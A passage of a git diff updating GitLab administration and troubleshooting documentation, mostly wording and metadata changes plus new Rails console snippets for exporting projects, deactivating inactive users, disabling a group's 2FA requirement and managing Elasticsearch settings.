mentioned earlier, if they are not prefixed with `#{namespace}/#{project_name}`,
which is true for CI Cache and LFS Objects.
@@ -179,11 +179,11 @@ LFS objects are also [S3 compatible](lfs/index.md#storing-lfs-objects-in-remote-
## Legacy storage
-NOTE: **Deprecated:**
+WARNING:
In GitLab 13.0, hashed storage is enabled by default and the legacy storage is
deprecated. If you haven't migrated yet, check the
[migration instructions](raketasks/storage.md#migrate-to-hashed-storage).
-Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab
+Support for legacy storage is scheduled to be removed in GitLab 14.0. If you're on GitLab
13.0 and later, switching new projects to legacy storage is not possible.
The option to choose between hashed and legacy storage in the admin area has
been disabled.
@@ -199,7 +199,7 @@ easy for Administrators to find where the repository is stored.
On the other hand this has some drawbacks:
-Storage location will concentrate huge amount of top-level namespaces. The
+Storage location concentrates a huge number of top-level namespaces. The
impact can be reduced by the introduction of
[multiple storage paths](repository_storage_paths.md).
@@ -209,6 +209,6 @@ an old removed or renamed project sharing the same URL. This means that
`mygroup/myproject` from your backup may not be the same original project that
is at that same URL today.
-Any change in the URL will need to be reflected on disk (when groups / users or
+Any change in the URL needs to be reflected on disk (when groups / users or
projects are renamed). This can add a lot of load in big installations,
especially if using any type of network based filesystem.
diff --git a/doc/administration/repository_storages.md b/doc/administration/repository_storages.md
index af7a385e5a0..93d0ee3cac9 100644
--- a/doc/administration/repository_storages.md
+++ b/doc/administration/repository_storages.md
@@ -3,3 +3,6 @@ redirect_to: 'repository_storage_paths.md'
---
This document was moved to [another location](repository_storage_paths.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md
index f6a4a39ad60..4f104c6a63f 100644
--- a/doc/administration/restart_gitlab.md
+++ b/doc/administration/restart_gitlab.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# How to restart GitLab
diff --git a/doc/administration/scaling/index.md b/doc/administration/scaling/index.md
index 748373c8941..4f934646ed6 100644
--- a/doc/administration/scaling/index.md
+++ b/doc/administration/scaling/index.md
@@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md
---
This document was moved to [another location](../reference_architectures/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md
index b5e975d397f..645d3bc4e9f 100644
--- a/doc/administration/server_hooks.md
+++ b/doc/administration/server_hooks.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
disqus_identifier: 'https://docs.gitlab.com/ee/administration/custom_hooks.html'
---
@@ -85,7 +85,7 @@ configuration:
- GitLab 13.0 and earlier, this is set in `gitlab-shell/config.yml`.
- GitLab 13.1 and later, this is set in `gitaly/config.toml` under the `[hooks]` section.
-NOTE: **Note:**
+NOTE:
The `custom_hooks_dir` value in `gitlab-shell/config.yml` is still honored in GitLab 13.1 and later
if the value in `gitaly/config.toml` is blank or non-existent.
@@ -123,13 +123,13 @@ Within a directory, server hooks:
- Are executed in alphabetical order.
- Stop executing when a hook exits with a non-zero value.
-Note:
+`<hook_name>.d` must be either `pre-receive.d`, `post-receive.d`, or `update.d` to work properly.
+Any other names are ignored.
-- `<hook_name>.d` must be either `pre-receive.d`, `post-receive.d`, or `update.d` to work properly.
- Any other names are ignored.
-- Files in `.d` directories must be executable and not match the backup file pattern (`*~`).
-- For `<project>.git` you need to [translate](repository_storage_types.md#translating-hashed-storage-paths)
- your project name into the hashed storage format that GitLab uses.
+Files in `.d` directories must be executable and not match the backup file pattern (`*~`).
+
+For `<project>.git` you need to [translate](repository_storage_types.md#translating-hashed-storage-paths)
+your project name into the hashed storage format that GitLab uses.
## Environment Variables
@@ -152,7 +152,7 @@ Pre-receive and post-receive server hooks can also access the following Git envi
| `GIT_PUSH_OPTION_COUNT` | Number of push options. See [Git `pre-receive` documentation](https://git-scm.com/docs/githooks#pre-receive). |
| `GIT_PUSH_OPTION_<i>` | Value of push options where `i` is from `0` to `GIT_PUSH_OPTION_COUNT - 1`. See [Git `pre-receive` documentation](https://git-scm.com/docs/githooks#pre-receive). |
-NOTE: **Note:**
+NOTE:
While other environment variables can be passed to server hooks, your application should not rely on
them as they can change.
@@ -160,7 +160,7 @@ them as they can change.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5073) in GitLab 8.10.
-To have custom error messages appear in GitLab's UI when a commit is declined or an error occurs
+To have custom error messages appear in the GitLab UI when a commit is declined or an error occurs
during the Git hook, your script should:
- Send the custom error messages to either the script's `stdout` or `stderr`.
@@ -168,7 +168,7 @@ during the Git hook, your script should:
### Example custom error message
-This hook script written in Bash generates the following message in GitLab's UI:
+This hook script written in Bash generates the following message in the GitLab UI:
```shell
#!/bin/sh
diff --git a/doc/administration/sidekiq.md b/doc/administration/sidekiq.md
index 2cc6acc8c87..a97eff23c2f 100644
--- a/doc/administration/sidekiq.md
+++ b/doc/administration/sidekiq.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -25,8 +25,9 @@ you want using steps 1 and 2 from the GitLab downloads page.
## Optional: Enable extra Sidekiq processes
sidekiq_cluster['enable'] = true
- sidekiq_cluster['enable'] = true
- "elastic_indexer"
+ sidekiq['queue_groups'] = [
+ "elastic_indexer",
+ "*"
]
```
diff --git a/doc/administration/smime_signing_email.md b/doc/administration/smime_signing_email.md
index f5b40210e62..7492bf4457a 100644
--- a/doc/administration/smime_signing_email.md
+++ b/doc/administration/smime_signing_email.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Signing outgoing email with S/MIME
@@ -26,7 +26,7 @@ files must be provided:
Optionally, you can also provide a bundle of CA certs (PEM-encoded) to be
included on each signature. This will typically be an intermediate CA.
-CAUTION: **Caution:**
+WARNING:
Be mindful of the access levels for your private keys and visibility to
third parties.
diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md
index 5e61d20c683..0bf0eb3b1ed 100644
--- a/doc/administration/snippets/index.md
+++ b/doc/administration/snippets/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
---
# Snippets settings **(CORE ONLY)**
@@ -29,7 +29,7 @@ This setting is not available through the [Admin Area settings](../../user/admin
In order to configure this setting, use either the Rails console
or the [Application settings API](../../api/settings.md).
-NOTE: **IMPORTANT:**
+NOTE:
The value of the limit **must** be in bytes.
#### Through the Rails console
@@ -64,11 +64,11 @@ The process to set the snippets size limit through the Application Settings API
exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings).
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?snippet_size_limit=52428800
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?snippet_size_limit=52428800"
```
You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings).
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings"
```
diff --git a/doc/administration/static_objects_external_storage.md b/doc/administration/static_objects_external_storage.md
index 34c7c8947fc..b10af12de67 100644
--- a/doc/administration/static_objects_external_storage.md
+++ b/doc/administration/static_objects_external_storage.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md
index 55e166d2bf7..edd44380f30 100644
--- a/doc/administration/terraform_state.md
+++ b/doc/administration/terraform_state.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Terraform state administration (alpha)
@@ -20,7 +20,7 @@ These locations can be configured using the options described below.
## Using local storage
-NOTE: **Note:**
+NOTE:
This is the default configuration
To change the location where Terraform state files are stored locally, follow the steps
@@ -52,8 +52,8 @@ below.
## Using object storage **(CORE ONLY)**
-Instead of storing Terraform state files on disk, we recommend the use of an object
-store that is S3-compatible instead. This configuration relies on valid credentials to
+Instead of storing Terraform state files on disk, we recommend the use of [one of the supported object
+storage options](object_storage.md#options). This configuration relies on valid credentials to
be configured already.
[Read more about using object storage with GitLab](object_storage.md).
@@ -68,7 +68,7 @@ The following settings are:
| Setting | Description | Default |
|---------|-------------|---------|
| `enabled` | Enable/disable object storage | `false` |
-| `remote_directory` | The bucket name where Terraform state files will be stored | |
+| `remote_directory` | The bucket name where Terraform state files are stored | |
| `connection` | Various connection options described below | |
### S3-compatible connection settings
@@ -91,7 +91,7 @@ See [the available connection settings for different providers](object_storage.m
}
```
- NOTE: **Note:**
+ NOTE:
If you are using AWS IAM profiles, be sure to omit the AWS access key and secret access key/value pairs.
```ruby
diff --git a/doc/administration/timezone.md b/doc/administration/timezone.md
index bec82f66948..798e7f5050c 100644
--- a/doc/administration/timezone.md
+++ b/doc/administration/timezone.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Changing your time zone
@@ -20,7 +20,7 @@ To see all available time zones, run `bundle exec rake time:zones:all`.
For Omnibus installations, run `gitlab-rake time:zones:all`.
-NOTE: **Note:**
+NOTE:
This Rake task does not list timezones in TZInfo format required by Omnibus GitLab during a reconfigure: [#27209](https://gitlab.com/gitlab-org/gitlab/-/issues/27209).
## Changing time zone in Omnibus installations
diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md
index d67c9963092..8c8fa25aa5e 100644
--- a/doc/administration/troubleshooting/debug.md
+++ b/doc/administration/troubleshooting/debug.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Debugging Tips
diff --git a/doc/administration/troubleshooting/diagnostics_tools.md b/doc/administration/troubleshooting/diagnostics_tools.md
index 132f8524ca1..27a7493b318 100644
--- a/doc/administration/troubleshooting/diagnostics_tools.md
+++ b/doc/administration/troubleshooting/diagnostics_tools.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md
index 12aa91e6f14..755273eb06e 100644
--- a/doc/administration/troubleshooting/elasticsearch.md
+++ b/doc/administration/troubleshooting/elasticsearch.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Global Search
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting Elasticsearch
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index cae4aa96f75..2482a4fe7ad 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -14,13 +14,13 @@ having an issue with GitLab, it is highly recommended that you check your
[support options](https://about.gitlab.com/support/) first, before attempting to use
this information.
-CAUTION: **Caution:**
+WARNING:
Please note that some of these scripts could be damaging if not run correctly,
or under the right conditions. We highly recommend running them under the
guidance of a Support Engineer, or running them in a test environment with a
backup of the instance ready to be restored, just in case.
-CAUTION: **Caution:**
+WARNING:
Please also note that as GitLab changes, changes to the code are inevitable,
and so some scripts may not work as they once used to. These are not kept
up-to-date as these scripts/commands were added as they were found/needed. As
@@ -308,7 +308,7 @@ pp p.statistics # compare with earlier values
### Recreate
-CAUTION: **Caution:**
+WARNING:
This is a destructive operation, the Wiki will be empty.
A Projects Wiki can be recreated by this command:
@@ -374,6 +374,26 @@ Clear the cache:
sudo gitlab-rake cache:clear
```
+### Export a repository
+
+It's typically recommended to export a project through [the web interface](../../user/project/settings/import_export.md#exporting-a-project-and-its-data) or through [the API](../../api/project_import_export.md). In situations where this is not working as expected, it may be preferable to export a project directly via the Rails console:
+
+```ruby
+user = User.find_by_username('USERNAME')
+project = Project.find_by_full_path('PROJECT_PATH')
+Projects::ImportExport::ExportService.new(project, user).execute
+```
+
+If the project you wish to export is available at `https://gitlab.example.com/baltig/pipeline-templates`, the value to use for `PROJECT_PATH` would be `baltig/pipeline-templates`.
+
+If this all runs successfully, you will see output like the following before being returned to the Rails console prompt:
+
+```ruby
+=> nil
+```
+
+The exported project will be located within a `.tar.gz` file in `/var/opt/gitlab/gitlab-rails/uploads/-/system/import_export_upload/export_file/`.
+
## Repository
### Search sequence of pushes to a repository
@@ -464,8 +484,9 @@ User.billable.count
::HistoricalData.max_historical_user_count
```
+Using cURL and jq (up to a max 100, see the [pagination docs](../../api/README.md#pagination)):
+
```shell
-# Using curl and jq (up to a max 100, see pagination docs https://docs.gitlab.com/ee/api/#pagination
curl --silent --header "Private-Token: ********************" "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]'
```
@@ -491,10 +512,22 @@ users.each do |user|
end
```
+### Deactivate Users that have no recent activity
+
+```ruby
+days_inactive = 90
+inactive_users = User.active.where("last_activity_on <= ?", days_inactive.days.ago)
+
+inactive_users.each do |user|
+ puts "user '#{user.username}': #{user.last_activity_on}"
+ user.deactivate!
+end
+```
+
### Block Users that have no recent activity
```ruby
-days_inactive = 60
+days_inactive = 90
inactive_users = User.active.where("last_activity_on <= ?", days_inactive.days.ago)
inactive_users.each do |user|
@@ -565,6 +598,17 @@ group = Group.find_by_path_or_name('group-name')
group.project_creation_level=0
```
+### Modify group - disable 2FA requirement
+
+WARNING:
+When disabling the 2FA Requirement on a subgroup, the whole parent group (including all subgroups) is affected by this change.
+
+```ruby
+group = Group.find_by_path_or_name('group-name')
+group.require_two_factor_authentication=false
+group.save
+```
+
## SCIM
### Fixing bad SCIM identities
@@ -1015,3 +1059,55 @@ This will also refresh the cached usage ping displayed in the admin area
```ruby
Gitlab::UsageData.to_json(force_refresh: true)
```
+
+#### Generate and print
+
+Generates usage ping data in JSON format.
+
+```shell
+rake gitlab:usage_data:generate
+```
+
+#### Generate and send usage ping
+
+Prints the metrics saved in `conversational_development_index_metrics`.
+
+```shell
+rake gitlab:usage_data:generate_and_send
+```
+
+## Elasticsearch
+
+### Configuration attributes
+
+Open the rails console (`gitlab rails c`) and run the following command to see all the available attributes:
+
+```ruby
+ApplicationSetting.last.attributes
+```
+
+Among other attributes, in the output you will notice that all the settings available in the [Elasticsearch Integration page](../../integration/elasticsearch.md), like: `elasticsearch_indexing`, `elasticsearch_url`, `elasticsearch_replicas`, `elasticsearch_pause_indexing`, etc.
+
+#### Setting attributes
+
+You can then set anyone of Elasticsearch integration settings by issuing a command similar to:
+
+```ruby
+ApplicationSetting.last.update_attributes(elasticsearch_url: '<your ES URL and port>')
+
+#or
+
+ApplicationSetting.last.update_attributes(elasticsearch_indexing: false)
+```
+
+#### Getting attributes
+
+You can then check if the settings have been set in the [Elasticsearch Integration page](../../integration/elasticsearch.md) or in the rails console by issuing:
+
+```ruby
+Gitlab::CurrentSettings.elasticsearch_url
+
+#or
+
+Gitlab::CurrentSettings.elasticsearch_indexing
+```
diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md
index efc8eaab198..e9dbbfbde12 100644
--- a/doc/administration/troubleshooting/group_saml_scim.md
+++ b/doc/administration/troubleshooting/group_saml_scim.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -9,7 +9,7 @@ type: reference
These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team’s collected knowledge.
-Please refer to GitLab's [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up.
+Please refer to the GitLab [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up.
When troubleshooting a SAML configuration, GitLab team members will frequently start with the [SAML troubleshooting section](../../user/group/saml_sso/index.md#troubleshooting).
@@ -22,7 +22,7 @@ This section includes relevant screenshots of the following example configuratio
- [Azure Active Directory](#azure-active-directory)
- [OneLogin](#onelogin)
-CAUTION: **Caution:**
+WARNING:
These screenshots are updated only as needed by GitLab Support. They are **not** official documentation.
If you are currently having an issue with GitLab, you may want to check your [support options](https://about.gitlab.com/support/).
diff --git a/doc/administration/troubleshooting/img/network_monitor_xid.png b/doc/administration/troubleshooting/img/network_monitor_xid.png
index 7fc2cf47ea0..fa64fd1509c 100644
--- a/doc/administration/troubleshooting/img/network_monitor_xid.png
+++ b/doc/administration/troubleshooting/img/network_monitor_xid.png
Binary files differ
diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md
index 8a4a0a4caac..67115ce31c0 100644
--- a/doc/administration/troubleshooting/index.md
+++ b/doc/administration/troubleshooting/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting a GitLab installation
diff --git a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
index 21fd183dfd0..07a7baf338b 100644
--- a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
+++ b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -11,7 +11,7 @@ This is a list of useful information regarding Kubernetes that the GitLab Suppor
Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone
can make use of the Support team's collected knowledge
-CAUTION: **Caution:**
+WARNING:
These commands **can alter or break** your Kubernetes components so use these at your own risk.
If you are on a [paid tier](https://about.gitlab.com/pricing/) and are not sure how
@@ -126,7 +126,7 @@ and they will assist you with any issues you are having.
kubectl get pods | grep task-runner
# enter it
- kubectl exec -it <task-runner-pod-name> bash
+ kubectl exec -it <task-runner-pod-name> -- bash
# open rails console
# rails console can be also called from other GitLab pods
@@ -139,10 +139,10 @@ and they will assist you with any issues you are having.
/usr/local/bin/gitlab-rake gitlab:check
# open console without entering pod
- kubectl exec -it <task-runner-pod-name> /srv/gitlab/bin/rails console
+ kubectl exec -it <task-runner-pod-name> -- /srv/gitlab/bin/rails console
# check the status of DB migrations
- kubectl exec -it <task-runner-pod-name> /usr/local/bin/gitlab-rake db:migrate:status
+ kubectl exec -it <task-runner-pod-name> -- /usr/local/bin/gitlab-rake db:migrate:status
```
You can also use `gitlab-rake`, instead of `/usr/local/bin/gitlab-rake`.
@@ -207,7 +207,7 @@ all Kubernetes resources and dependent charts:
helm get manifest <release name>
```
-## Installation of minimal GitLab config via Minikube on macOS
+## Installation of minimal GitLab configuration via Minikube on macOS
This section is based on [Developing for Kubernetes with Minikube](https://docs.gitlab.com/charts/development/minikube/index.html)
and [Helm](https://docs.gitlab.com/charts/installation/tools.html#helm). Refer
diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md
index b1042a9402b..c61a78624c3 100644
--- a/doc/administration/troubleshooting/linux_cheat_sheet.md
+++ b/doc/administration/troubleshooting/linux_cheat_sheet.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -13,7 +13,7 @@ and it may be useful for users with experience with Linux. If you are currently
having an issue with GitLab, you may want to check your [support options](https://about.gitlab.com/support/)
first, before attempting to use this information.
-CAUTION: **Caution:**
+WARNING:
If you are administering GitLab you are expected to know these commands for your distribution
of choice. If you are a GitLab Support Engineer, consider this a cross-reference to
translate `yum` -> `apt-get` and the like.
@@ -23,7 +23,7 @@ on. Contributions are welcome to help add them.
## System Commands
-### Distro Information
+### Distribution Information
```shell
# Debian/Ubuntu
@@ -200,7 +200,7 @@ or you can build it from source if you have the Rust compiler.
#### How to use the tool
-First run the tool with no arguments other than the strace output file name to get
+First run the tool with no arguments other than the strace output filename to get
a summary of the top processes sorted by time spent actively performing tasks. You
can also sort based on total time, # of syscalls made, PID #, and # of child processes
using the `-S` or `--sort` flag. The number of results defaults to 25 processes, but
@@ -303,7 +303,7 @@ nslookup example.com 1.1.1.1
whois <ip_address> | grep -i "orgname\|netname"
# Curl headers with redirect
-curl --head --location https://example.com
+curl --head --location "https://example.com"
```
## Package Management
diff --git a/doc/administration/troubleshooting/log_parsing.md b/doc/administration/troubleshooting/log_parsing.md
index 4e9e8cd591f..144aa0f6d3b 100644
--- a/doc/administration/troubleshooting/log_parsing.md
+++ b/doc/administration/troubleshooting/log_parsing.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Parsing GitLab logs with `jq`
@@ -143,16 +143,39 @@ jq 'select(."grpc.code" != null and ."grpc.code" != "OK")' current
jq 'select(."grpc.time_ms" > 30000)' current
```
-#### Print top three projects by request volume and their three longest durations
-
-```shell
-jq -s -r 'map(select(."grpc.request.glProjectPath" != null and ."grpc.request.glProjectPath" != "" and ."grpc.time_ms" != null)) | group_by(."grpc.request.glProjectPath") | sort_by(-length) | limit(3; .[]) | sort_by(-."grpc.time_ms") | "CT: \(length)\tPROJECT: \(.[0]."grpc.request.glProjectPath")\tDURS: \(.[0]."grpc.time_ms"), \(.[1]."grpc.time_ms"), \(.[2]."grpc.time_ms")"' current
+#### Print top ten projects by request volume and their three longest durations
+
+```shell
+jq --raw-output --slurp '
+ map(
+ select(
+ ."grpc.request.glProjectPath" != null
+ and ."grpc.request.glProjectPath" != ""
+ and ."grpc.time_ms" != null
+ )
+ )
+ | group_by(."grpc.request.glProjectPath")
+ | sort_by(-length)
+ | limit(10; .[])
+ | sort_by(-."grpc.time_ms")
+ | [
+ length,
+ .[0]."grpc.time_ms",
+ .[1]."grpc.time_ms",
+ .[2]."grpc.time_ms",
+ .[0]."grpc.request.glProjectPath"
+ ]
+ | @sh' /var/log/gitlab/gitaly/current \
+| awk 'BEGIN { printf "%7s %10s %10s %10s\t%s\n", "CT", "MAX DURS", "", "", "PROJECT" }
+ { printf "%7u %7u ms, %7u ms, %7u ms\t%s\n", $1, $2, $3, $4, $5 }'
```
**Example output**
```plaintext
-CT: 635 PROJECT: groupA/project1 DURS: 4292.269, 4228.853, 2885.548
-CT: 462 PROJECT: groupB/project5 DURS: 4368.981, 3623.553, 361.399
-CT: 455 PROJECT: groupC/project7 DURS: 387.295, 381.874, 373.988
+ CT MAX DURS PROJECT
+ 206 4898 ms, 1101 ms, 1032 ms 'groupD/project4'
+ 109 1420 ms, 962 ms, 875 ms 'groupEF/project56'
+ 663 106 ms, 96 ms, 94 ms 'groupABC/project123'
+ ...
```
diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
index 475f3d56836..68c12117222 100644
--- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
+++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Navigating GitLab via Rails console
@@ -12,7 +12,7 @@ Thanks to this, we also get access to the amazing tools built right into Rails.
In this guide, we'll introduce the [Rails console](../operations/rails_console.md#starting-a-rails-console-session)
and the basics of interacting with your GitLab instance from the command line.
-CAUTION: **Caution:**
+WARNING:
The Rails console interacts directly with your GitLab instance. In many cases,
there are no handrails to prevent you from permanently modifying, corrupting
or destroying production data. If you would like to explore the Rails console
diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md
index d22e76a505a..7052b68370c 100644
--- a/doc/administration/troubleshooting/postgresql.md
+++ b/doc/administration/troubleshooting/postgresql.md
@@ -1,22 +1,23 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# PostgreSQL
-This page is useful information about PostgreSQL that the GitLab Support
-Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone
-can make use of the Support team's collected knowledge.
+This page contains information about PostgreSQL the GitLab Support team uses
+when troubleshooting. GitLab makes this information public, so that anyone can
+make use of the Support team's collected knowledge.
-CAUTION: **Caution:**
-Some procedures documented here may break your GitLab instance. Use at your own risk.
+WARNING:
+Some procedures documented here may break your GitLab instance. Use at your
+own risk.
-If you are on a [paid tier](https://about.gitlab.com/pricing/) and are not sure how
-to use these commands, it is best to [contact Support](https://about.gitlab.com/support/)
-and they will assist you with any issues you are having.
+If you're on a [paid tier](https://about.gitlab.com/pricing/) and aren't sure
+how to use these commands, [contact Support](https://about.gitlab.com/support/)
+for assistance with any issues you're having.
## Other GitLab PostgreSQL documentation
